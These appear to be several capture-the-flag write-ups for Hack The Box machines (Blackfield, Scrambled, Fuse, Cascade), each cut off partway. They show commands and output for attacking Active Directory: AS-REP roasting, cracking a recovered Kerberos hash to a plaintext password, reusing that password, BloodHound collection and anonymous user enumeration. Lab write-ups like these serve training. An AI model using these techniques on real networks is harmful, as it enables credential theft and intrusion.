  YSeturino                           D        0  Wed Jun  3 17:47:12 2020
  YSkoropada                          D        0  Wed Jun  3 17:47:12 2020
  YVonebers                           D        0  Wed Jun  3 17:47:12 2020
  YZarpentine                         D        0  Wed Jun  3 17:47:12 2020
  ZAlatti                             D        0  Wed Jun  3 17:47:12 2020
  ZKrenselewski                       D        0  Wed Jun  3 17:47:12 2020
  ZMalaab                             D        0  Wed Jun  3 17:47:12 2020
  ZMiick                              D        0  Wed Jun  3 17:47:12 2020
  ZScozzari                           D        0  Wed Jun  3 17:47:12 2020
  ZTimofeeff                          D        0  Wed Jun  3 17:47:12 2020
  ZWausik                             D        0  Wed Jun  3 17:47:12 2020

                5102079 blocks of size 4096. 1697641 blocks available
└─$ smbclient -N //10.10.10.192/forensic 
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*
smb: \> 
  • Each directory is empty
    • But we can use it to create a userlist and try AS-REP-roasting
└─$ impacket-GetNPUsers -usersfile users.list -dc-ip 10.10.10.192 blackfield.local/
Impacket v0.11.0 - Copyright 2023 Fortra

[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
...
$krb5asrep$23$support@BLACKFIELD.LOCAL:1f10d897a1b644a032f41814413ebe39$b16365d416a55a510ac198406233651071444fb1de08ba43529cd7dad0a9ca5025653e234e9ee14f3cbafabb4a492089bfdf57e1b7e2328003154bafdb0bcea191020a3dce2f3aac242166054e1c32c90f2fc1f932f0c92a62bf3d30a1ce26539d5d0b14143f0e409b7c66eeefb1c7fc5c900b17595a083fb23ae675f82d9eae5b02fef0f5178b1f35ca50fd98b3f5adff177028626db9ccccbf841746a01fa7d734f9fbc6f91b62a9a676c1f188a48624c771b75652b4cf94df83849e7bdcb6b9797c4176c3e0e7327b41c3610fcb162b0279f313c79a06c9d3cb127f606198db65bf5c2bae16a91b5b9ec05e5337ef0c623eb2
[-] User svc_backup doesn't have UF_DONT_REQUIRE_PREAUTH set
...
  • Crack it with hashcat
    • support:#00^BlackKnight
└─$ hashcat -m 18200 hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 3.1+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: pthread-sandybridge-12th Gen Intel(R) Core(TM) i5-12400, 1436/2936 MB (512 MB allocatable), 2MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
...
$krb5asrep$23$support@BLACKFIELD.LOCAL:1f10d897a1b644a032f41814413ebe39$b16365d416a55a510ac198406233651071444fb1de08ba43529cd7dad0a9ca5025653e234e9ee14f3cbafabb4a492089bfdf57e1b7e2328003154bafdb0bcea191020a3dce2f3aac242166054e1c32c90f2fc1f932f0c92a62bf3d30a1ce26539d5d0b14143f0e409b7c66eeefb1c7fc5c900b17595a083fb23ae675f82d9eae5b02fef0f5178b1f35ca50fd98b3f5adff177028626db9ccccbf841746a01fa7d734f9fbc6f91b62a9a676c1f188a48624c771b75652b4cf94df83849e7bdcb6b9797c4176c3e0e7327b41c3610fcb162b0279f313c79a06c9d3cb127f606198db65bf5c2bae16a91b5b9ec05e5337ef0c623eb2:#00^BlackKnight
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: $krb5asrep$23$support@BLACKFIELD.LOCAL:1f10d897a1b6...623eb2
Time.Started.....: Sun Sep 17 19:11:50 2023 (13 secs)
Time.Estimated...: Sun Sep 17 19:12:03 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1089.9 kH/s (0.41ms) @ Accel:256 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 14336000/14344385 (99.94%)
Rejected.........: 0/14336000 (0.00%)
Restore.Point....: 14335488/14344385 (99.94%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: #1*6)0 -> #!hrvert
Hardware.Mon.#1..: Util: 91%

Started: Sun Sep 17 19:11:49 2023
Stopped: Sun Sep 17 19:12:05 2023
                                     
  • The creds are valid
    • But no winrm access
└─$ crackmapexec smb 10.10.10.192 -u support -p '#00^BlackKnight'
SMB         10.10.10.192    445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:False)
SMB         10.10.10.192    445    DC01             [+] BLACKFIELD.local\support:#00^BlackKnight
└─$ crackmapexec winrm 10.10.10.192 -u support -p '#00^BlackKnight'                               
SMB         10.10.10.192    5985   DC01             [*] Windows 10.0 Build 17763 (name:DC01) (domain:BLACKFIELD.local)
HTTP        10.10.10.192    5985   DC01             [*] http://10.10.10.192:5985/wsman
WINRM       10.10.10.192    5985   DC01             [-] BLACKFIELD.local\support:#00^BlackKnight

User #1

  • Nothing new in smb except for SYSVOL and NETLOGON
└─$ smbmap -u support -p '#00^BlackKnight' -H 10.10.10.192 
[+] IP: 10.10.10.192:445        Name: BLACKFIELD.local                                  
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        forensic                                                NO ACCESS       Forensic / Audit share.
        IPC$                                                    READ ONLY       Remote IPC
        NETLOGON                                                READ ONLY       Logon server share 
        profiles$                                               READ ONLY
        SYSVOL                                                  READ ONLY       Logon server share
  • No Kerberoastable users
└─$ impacket-GetUserSPNs blackfield.local/'support':'#00^BlackKnight' -dc-ip dc01.blackfield.local -request                          
Impacket v0.11.0 - Copyright 2023 Fortra

No entries found!
  • ldapsearch to retrieve samaccountname of domain controller
└─$ ldapsearch -H ldap://10.10.10.192 -x -b "DC=blackfield,DC=local" -D 'support@blackfield.local' -w '#00^BlackKnight'
# extended LDIF
#
# LDAPv3
# base <DC=blackfield,DC=local> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# BLACKFIELD.local
dn: DC=BLACKFIELD,DC=local
objectClass: top
objectClass: domain
objectClass: domainDNS
...
dn: CN=DC01,OU=Domain Controllers,DC=BLACKFIELD,DC=local
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
objectClass: computer
cn: DC01
distinguishedName: CN=DC01,OU=Domain Controllers,DC=BLACKFIELD,DC=local
instanceType: 4
whenCreated: 20200223111400.0Z
whenChanged: 20230918021908.0Z
uSNCreated: 12293
uSNChanged: 233542
name: DC01
objectGUID:: yKWttevtGU+AkuFOUWYvng==
userAccountControl: 532480
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 132269516749519355
lastLogoff: 0
lastLogon: 133395347215321691
localPolicyFlags: 0
pwdLastSet: 133394771382736467
primaryGroupID: 516
objectSid:: AQUAAAAAAAUVAAAA3sEE+lnfq4Ei72nU6AMAAA==
accountExpires: 9223372036854775807
logonCount: 134
sAMAccountName: DC01$
sAMAccountType: 805306369
operatingSystem: Windows Server 2019 Standard
operatingSystemVersion: 10.0 (17763)
serverReferenceBL: CN=DC01,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=C
 onfiguration,DC=BLACKFIELD,DC=local
dNSHostName: DC01.BLACKFIELD.local
...
  • Let’s launch bloodhound
└─$ bloodhound-python -c all -u support -p '#00^BlackKnight' -d blackfield.local -dc dc01.blackfield.local -ns 10.10.10.192 --zip
INFO: Found AD domain: blackfield.local
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.blackfield.local
INFO: Kerberos auth to LDAP failed, trying NTLM
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 18 computers
INFO: Connecting to LDAP server: dc01.blackfield.local
INFO: Kerberos auth to LDAP failed, trying NTLM
INFO: Found 316 users
INFO: Found 52 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
  • support has ForceChangePassword rights over audit2020

Hero Image
[HTB] Machine: Scrambled

Scrambled

Enumeration

  • nmap
└─$ nmap -Pn -p- 10.10.11.168 -T4                   
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-12 16:42 BST
Nmap scan report for 10.10.11.168 (10.10.11.168)
Host is up (0.092s latency).
Not shown: 65516 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
1433/tcp  open  ms-sql-s
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
49668/tcp open  unknown
49673/tcp open  unknown
49674/tcp open  unknown
49697/tcp open  unknown
49701/tcp open  unknown
└─$ nmap -Pn -p53,80,88,135,139,389,445,464,593,636,1433,4411,5985,9389 -sC -sV 10.10.11.168 -T4
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-12 16:53 BST
Nmap scan report for 10.10.11.168 (10.10.11.168)
Host is up (0.17s latency).

Bug in ms-sql-ntlm-info: no string output.
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-title: Scramble Corp Intranet
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-09-12 15:53:28Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
|_ssl-date: 2023-09-12T15:56:40+00:00; -37s from scanner time.
| ssl-cert: Subject: commonName=DC1.scrm.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC1.scrm.local
| Not valid before: 2022-06-09T15:30:57
|_Not valid after:  2023-06-09T15:30:57
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC1.scrm.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC1.scrm.local
| Not valid before: 2022-06-09T15:30:57
|_Not valid after:  2023-06-09T15:30:57
|_ssl-date: 2023-09-12T15:56:40+00:00; -37s from scanner time.
1433/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-info: 
|   10.10.11.168:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
|_ssl-date: 2023-09-12T15:56:40+00:00; -37s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2023-09-12T15:09:29
|_Not valid after:  2053-09-12T15:09:29
4411/tcp open  found?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, NCP, NULL, NotesRPC, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns: 
|     SCRAMBLECORP_ORDERS_V1.0.3;
|   FourOhFourRequest, GetRequest, HTTPOptions, Help, LPDString, RTSPRequest, SIPOptions: 
|     SCRAMBLECORP_ORDERS_V1.0.3;
|_    ERROR_UNKNOWN_COMMAND;
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open  mc-nmf        .NET Message Framing
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port4411-TCP:V=7.94%I=7%D=9/12%Time=6500899D%P=x86_64-pc-linux-gnu%r(NU
SF:LL,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(GenericLines,1D,"SCRAMBLEC
SF:ORP_ORDERS_V1\.0\.3;\r\n")%r(GetRequest,35,"SCRAMBLECORP_ORDERS_V1\.0\.
SF:3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(HTTPOptions,35,"SCRAMBLECORP_ORDER
SF:S_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(RTSPRequest,35,"SCRAMBLEC
SF:ORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(RPCCheck,1D,"SCR
SF:AMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(DNSVersionBindReqTCP,1D,"SCRAMBLECOR
SF:P_ORDERS_V1\.0\.3;\r\n")%r(DNSStatusRequestTCP,1D,"SCRAMBLECORP_ORDERS_
SF:V1\.0\.3;\r\n")%r(Help,35,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNO
SF:WN_COMMAND;\r\n")%r(SSLSessionReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n
SF:")%r(TerminalServerCookie,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(TLS
SF:SessionReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(Kerberos,1D,"SCRAM
SF:BLECORP_ORDERS_V1\.0\.3;\r\n")%r(SMBProgNeg,1D,"SCRAMBLECORP_ORDERS_V1\
SF:.0\.3;\r\n")%r(X11Probe,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(FourO
SF:hFourRequest,35,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND
SF:;\r\n")%r(LPDString,35,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_
SF:COMMAND;\r\n")%r(LDAPSearchReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%
SF:r(LDAPBindReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(SIPOptions,35,"
SF:SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(LANDesk
SF:-RC,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(TerminalServer,1D,"SCRAMB
SF:LECORP_ORDERS_V1\.0\.3;\r\n")%r(NCP,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r
SF:\n")%r(NotesRPC,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(JavaRMI,1D,"S
SF:CRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(WMSRequest,1D,"SCRAMBLECORP_ORDERS
SF:_V1\.0\.3;\r\n")%r(oracle-tns,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r
SF:(ms-sql-s,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(afp,1D,"SCRAMBLECOR
SF:P_ORDERS_V1\.0\.3;\r\n")%r(giop,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n");
Service Info: Host: DC1; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -37s, deviation: 0s, median: -37s
| smb2-time: 
|   date: 2023-09-12T15:56:01
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 199.93 seconds
  • dap
└─$ ldapsearch -H ldap://10.10.11.168 -x -s base namingcontexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts 
#

#
dn:
namingcontexts: DC=scrm,DC=local
namingcontexts: CN=Configuration,DC=scrm,DC=local
namingcontexts: CN=Schema,CN=Configuration,DC=scrm,DC=local
namingcontexts: DC=DomainDnsZones,DC=scrm,DC=local
namingcontexts: DC=ForestDnsZones,DC=scrm,DC=local

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1
└─$ ldapsearch -H ldap://10.10.11.168 -x -b "DC=scrm,DC=local" 
# extended LDIF
#
# LDAPv3
# base <DC=scrm,DC=local> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A5C, comment: In order to perform this opera
 tion a successful bind must be completed on the connection., data 0, v4563

# numResponses: 1
  • dns
└─$ dig @10.10.11.168 scrm.local                                                                                            

; <<>> DiG 9.18.16-1-Debian <<>> @10.10.11.168 scrm.local
; (1 server found)
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 20897
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;scrm.local.                    IN      A

;; ANSWER SECTION:
scrm.local.             600     IN      A       10.10.11.168

;; Query time: 143 msec
;; SERVER: 10.10.11.168#53(10.10.11.168) (UDP)
;; WHEN: Tue Sep 12 17:47:56 BST 2023
;; MSG SIZE  rcvd: 55
└─$ dig axfr @10.10.11.168 scrm.local

; <<>> DiG 9.18.16-1-Debian <<>> axfr @10.10.11.168 scrm.local
; (1 server found)
;; global options: +cmd
; Transfer failed.
  • Web Server

Hero Image
[HTB] Machine: Fuse

Fuse

Enumeration

  • nmap
└─$ nmap -Pn -p- 10.10.10.193 -T4                         
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-09 16:32 BST
Nmap scan report for 10.10.10.193 (10.10.10.193)
Host is up (0.092s latency).
Not shown: 65517 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
49667/tcp open  unknown
49675/tcp open  unknown
49676/tcp open  unknown
49680/tcp open  unknown
49698/tcp open  unknown
└─$ nmap -Pn -p53,80,88,135,139,445,464,593,636,3268,3269,5985 -sC -sV 10.10.10.193 -T4
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-09 17:23 BST
Nmap scan report for 10.10.10.193 (10.10.10.193)
Host is up (0.16s latency).

PORT     STATE SERVICE      VERSION
53/tcp   open  domain       Simple DNS Plus
80/tcp   open  http         Microsoft IIS httpd 10.0
|_http-title: Site doesn't have a title (text/html).
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp   open  kerberos-sec Microsoft Windows Kerberos (server time: 2023-09-09 16:35:34Z)
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp  open  ��7a)V       Windows Server 2016 Standard 14393 microsoft-ds (workgroup: FABRICORP)
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap         Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
5985/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: FUSE; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2023-09-09T16:35:42
|_  start_date: 2023-09-09T15:42:29
|_clock-skew: mean: 2h32m23s, deviation: 4h02m30s, median: 12m22s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: Fuse
|   NetBIOS computer name: FUSE\x00
|   Domain name: fabricorp.local
|   Forest name: fabricorp.local
|   FQDN: Fuse.fabricorp.local
|_  System time: 2023-09-09T09:35:41-07:00
  • smb
└─$ smbclient -N -L //10.10.10.193                                                    
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.193 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
  • ldapsearch
└─$ ldapsearch -H ldap://10.10.10.193 -x -s base namingcontexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts 
#

#
dn:
namingContexts: DC=fabricorp,DC=local
namingContexts: CN=Configuration,DC=fabricorp,DC=local
namingContexts: CN=Schema,CN=Configuration,DC=fabricorp,DC=local
namingContexts: DC=DomainDnsZones,DC=fabricorp,DC=local
namingContexts: DC=ForestDnsZones,DC=fabricorp,DC=local

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1
└─$ ldapsearch -H ldap://10.10.10.193 -x -b "DC=fabricorp,DC=local"
# extended LDIF
#
# LDAPv3
# base <DC=fabricorp,DC=local> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A6C, comment: In order to perform this opera
 tion a successful bind must be completed on the connection., data 0, v3839

# numResponses: 1
  • rpc
└─$ rpcclient -U "" -N 10.10.10.193
rpcclient $> querydispinfo
result was NT_STATUS_ACCESS_DENIED
rpcclient $> enumdomusers
result was NT_STATUS_ACCESS_DENIED
rpcclient $> 
  • Web Server

Hero Image
[HTB] Machine: Cascade

Cascade

Enumeration

  • nmap
└─$ nmap -Pn -p- 10.10.10.182 -T4                                                            
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-05 20:29 BST
Stats: 0:03:02 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 43.53% done; ETC: 20:36 (0:03:56 remaining)
Nmap scan report for 10.10.10.182 (10.10.10.182)
Host is up (0.093s latency).
Not shown: 65525 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
49154/tcp open  unknown
49155/tcp open  unknown
49157/tcp open  unknown
49170/tcp open  unknown
└─$ nmap -Pn -p53,88,135,389,445,636,3268,3269,5985 -sC -sV 10.10.10.182 -T4
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-05 20:33 BST
Nmap scan report for 10.10.10.182 (10.10.10.182)
Host is up (0.15s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-09-05 19:33:09Z)
135/tcp  open  msrpc         Microsoft Windows RPC
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: CASC-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2023-09-05T19:33:17
|_  start_date: 2023-09-05T19:28:19
|_clock-skew: -36s
| smb2-security-mode: 
|   2:1:0: 
|_    Message signing enabled and required
  • smb
└─$ smbclient -N -L //10.10.10.182                                                                                                           
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.182 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

Foothold/User #1

└─$ rpcclient -U '' -N 10.10.10.182      
rpcclient $> querydispinfo 
index: 0xee0 RID: 0x464 acb: 0x00000214 Account: a.turnbull     Name: Adrian Turnbull   Desc: (null)
index: 0xebc RID: 0x452 acb: 0x00000210 Account: arksvc Name: ArkSvc    Desc: (null)
index: 0xee4 RID: 0x468 acb: 0x00000211 Account: b.hanson       Name: Ben Hanson        Desc: (null)
index: 0xee7 RID: 0x46a acb: 0x00000210 Account: BackupSvc      Name: BackupSvc Desc: (null)
index: 0xdeb RID: 0x1f5 acb: 0x00000215 Account: CascGuest      Name: (null)    Desc: Built-in account for guest access to the computer/domain
index: 0xee5 RID: 0x469 acb: 0x00000210 Account: d.burman       Name: David Burman      Desc: (null)
index: 0xee3 RID: 0x467 acb: 0x00000211 Account: e.crowe        Name: Edward Crowe      Desc: (null)
index: 0xeec RID: 0x46f acb: 0x00000211 Account: i.croft        Name: Ian Croft Desc: (null)
index: 0xeeb RID: 0x46e acb: 0x00000210 Account: j.allen        Name: Joseph Allen      Desc: (null)
index: 0xede RID: 0x462 acb: 0x00000210 Account: j.goodhand     Name: John Goodhand     Desc: (null)
index: 0xed7 RID: 0x45c acb: 0x00000210 Account: j.wakefield    Name: James Wakefield   Desc: (null)
index: 0xeca RID: 0x455 acb: 0x00000210 Account: r.thompson     Name: Ryan Thompson     Desc: (null)
index: 0xedd RID: 0x461 acb: 0x00000210 Account: s.hickson      Name: Stephanie Hickson Desc: (null)
index: 0xebd RID: 0x453 acb: 0x00000210 Account: s.smith        Name: Steve Smith       Desc: (null)
index: 0xed2 RID: 0x457 acb: 0x00000210 Account: util   Name: Util      Desc: (null)
  • ldap
└─$ ldapsearch -H ldap://10.10.10.182 -x -s base namingcontexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts 
#

#
dn:
namingContexts: DC=cascade,DC=local
namingContexts: CN=Configuration,DC=cascade,DC=local
namingContexts: CN=Schema,CN=Configuration,DC=cascade,DC=local
namingContexts: DC=DomainDnsZones,DC=cascade,DC=local
namingContexts: DC=ForestDnsZones,DC=cascade,DC=local

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1
└─$ ldapsearch -H ldap://10.10.10.182 -x -b "DC=cascade,DC=local"
...
  • Only users
└─$ ldapsearch -H ldap://10.10.10.182 -x -b "DC=cascade,DC=local" '(objectClass=person)'
# extended LDIF
#
# LDAPv3
# base <DC=cascade,DC=local> with scope subtree
# filter: (objectClass=person)
# requesting: ALL
#

# CascGuest, Users, cascade.local
dn: CN=CascGuest,CN=Users,DC=cascade,DC=local
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: CascGuest
...
# Ryan Thompson, Users, UK, cascade.local
dn: CN=Ryan Thompson,OU=Users,OU=UK,DC=cascade,DC=local
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: Ryan Thompson
sn: Thompson
givenName: Ryan
distinguishedName: CN=Ryan Thompson,OU=Users,OU=UK,DC=cascade,DC=local
instanceType: 4
whenCreated: 20200109193126.0Z
whenChanged: 20200323112031.0Z
displayName: Ryan Thompson
uSNCreated: 24610
memberOf: CN=IT,OU=Groups,OU=UK,DC=cascade,DC=local
uSNChanged: 295010
name: Ryan Thompson
objectGUID:: LfpD6qngUkupEy9bFXBBjA==
userAccountControl: 66048
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 132247339091081169
lastLogoff: 0
lastLogon: 132247339125713230
pwdLastSet: 132230718862636251
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAAMvuhxgsd8Uf1yHJFVQQAAA==
accountExpires: 9223372036854775807
logonCount: 2
sAMAccountName: r.thompson
sAMAccountType: 805306368
userPrincipalName: r.thompson@cascade.local
